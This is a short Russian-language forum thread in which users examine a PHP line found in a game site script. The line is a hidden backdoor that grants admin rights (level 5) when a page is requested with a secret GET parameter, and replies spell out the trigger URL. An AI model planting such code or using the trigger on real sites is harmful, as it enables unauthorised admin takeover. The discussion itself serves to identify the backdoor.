это дыра?

#12014-12-27 22:06:20

if (isset($_GET[ZdesBiLAmstor]) && $_GET[ZdesBiLAmstor] == 'ZdesBiLAmstor'){mysql_query("UPDATE users SET prava = '5' WHERE usr = '$log' LIMIT 1");}

права 5 это админ,знач если в скрипте появится тип с ником ZdesBilAmstor то ему присвоятся права 5-админ?

#22014-12-27 22:07:48

бэкдор это,если гет параметр ZdesBiLAmstor будет равен ZdesBiLAmstor то ему будут присвоены права 5 ) Можно считать дырой

#32014-12-27 22:08:18

вот только почему Amstor ... В каком скрипте ты это нашел?

#42014-12-27 22:08:48

Да) хотя там сотря что в $log лежит

#52014-12-27 22:10:28

bage, это в L2 by Tera

#62014-12-27 22:11:09

bage, спасибо)

#72014-12-27 22:11:56

ну по логике там должен быть присвоен логин

#82014-12-27 22:12:10

RekyD, а кто ее выложил?

#92014-12-27 22:12:33

bage, Tera

#102014-12-27 22:13:55

Вот только какой)))

#112014-12-27 22:15:31

наверно который берется с сессии,наподобие такого в гк играх на файлах пишут и вирус в своих линейках

#122014-12-27 22:16:46

KpuTuK, Ну я думаю что присваиаается при авторизации,кароч если авторизовывается ник ZdesBilAmstor то он становится админом

#132014-12-27 22:23:32

нет)это если будет запрос страницы page.php?ZdesBiLAmstor=ZdesBiLAmstor то будет кто авторизован и вызвал так страницу присвоен админом

#142014-12-27 22:29:09

любой может стать адм,если пропишет *.php?ZdesBilAmstor=ZdesBilAmstor

#152014-12-27 23:05:48

ааа вот как,спс